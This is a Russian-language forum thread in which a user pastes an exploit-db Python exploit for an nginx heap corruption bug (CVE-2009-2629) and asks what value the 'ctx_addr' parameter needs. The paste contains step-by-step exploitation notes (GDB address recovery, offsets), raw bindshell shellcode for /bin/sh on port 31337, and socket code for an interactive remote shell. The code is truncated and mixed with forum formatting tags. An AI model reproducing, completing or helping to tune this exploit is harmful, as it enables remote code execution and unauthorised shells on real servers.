![]() |
кто пользовался данным эксплойтом? интересует 3 параметр) что я должен туда поставить?) вот код эксплойта (взят с exploit-db)
CVE-2009-2629 [PHP] [COLOR="#000000"]#!/usr/bin/env python # # Exploit Title: nginx heap corruption # Date: 08/26/2010 # Author: aaron conole # Software Link: http://nginx.org/download/nginx-0.6.38.tar.gz # Version: offset) # # At that point, merely dump the *r; captu re the value for the data pointer # (it'll be the one with "GET //../Aa0") and add 131 to it (decimal 131 to t he # hex pointer value). That should give you a good area to test with. You might # want to use the range at that point and set the last octet to 00. # # NOTE: you'll need a configuration with me rge_slashes enabled. I haven't yet # found a "magic" combination that would ca use the state machine to do # what I want to make the bug trigger. On ce I do, you can bet BUG will be # replaced. #Basically, on BT4: #- compile #- edit the configuration to enable merge sla shes (just insert a line above the sendpage / sendfile config option "merge_slashes off;") #- Launch nginx, and attach GDB to the worke r #- Send the exploit at it with offset 0x1111 1111 #- When the worker gets a sigsegv, it will be on a line which looks like "if (ctx->offset)", at that point type "p *r" #- In the r data structure will be a few d ifferent fields, one which is a buffer that contains "GET //../Aa0Aa1Aa2..". This buffer has an address (le ts say 0x8c1d32f). #- Save off this address, and detach from th e worker. A new one will spawn (the "manag er" process will keep it going). #- At this point, rerun the exploit, setting the offset to 0x8c1d300 and adding the -b flag #- In a minute or two, you should be given the shell. import os import sys import socket import select import struct import time import urllib REQUEST_METHOD='GET ' # NOTE - this is a 32-bit null pointer. A 64-bit version would be 8-bytes (but take care to re-verify the structures) NULLPTR='\x00\x00\x00\x00' # NOTE - this shellcode was shamelessly stolen from the www # port 31337 bindshell for /bin/sh SHELL='\x31\xdb\xf7\xe3\xb0\x66\x53\x43\x53\x43\x53\x89\ xe1\x4b\xcd\x80\x89\xc7\x52\x66\x68\x7a\x69\x43\x6 6\x53\x89\xe1\xb0\x10\x50\x51\x57\x89\xe1\xb0\x66\ xcd\x80\xb0\x66\xb3\x04\xcd\x80\x50\x50\x57\x89\xe 1\x43\xb0\x66\xcd\x80\x89\xd9\x89\xc3\xb0\x3f\x49\ xcd\x80\x41\xe2\xf8\x51\x68\x6e\x2f\x73\x68\ x68\ x2f\x2f\x62\x69\x89\xe3\x51\x53\x89\xe1\xb0\x0b\xc d\x80' # Why did I write this up this way? Becau se given enough time, I think I can # find a proper set of state change which can give me the same effect (ie: ../ # appearing as the 3rd, 4th, and 5th chara cters) at a later date. # That's all controlled by the complex uri parsing bit, though. DOUBLE_SLASH='//../' BUG=DOUBLE_SLASH # taken from the metasploit pattern_create.rb PATTERN='Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4A b5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4A c5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1 Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1 Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4[COLOR="#DD0000"]' def connect_socket(host,port): sock = socket.socket(socket.AF_INET, socket.SOC K_STREAM) try: sock.connect( (host, port) ) except: return 0 #sock.setblocking(0) return sock def handle_connection(sock): while(1): r, w, e = select.select( [sock, sys.stdin], [], [sock, sys.stdin] ) for s in r: if s == sys.stdin: buf = sys.stdin.readline() try: if buf != '': sock.send(buf) except: print "Xon close?" return 0 elif s == sock: try: buf = sock.recv(100) except: print "Xon close?" return 0 if buf != '': sys.stdout.write(buf) def main(argv): argc = len(argv) if argc [-b]" % (argv[0]) print "[*] exploit for nginx |
КЭП подсказывает что шеллкод.
|
я знаю что это шелл код меня инетресует что такое ctx_addr
|
| Время: 09:04 |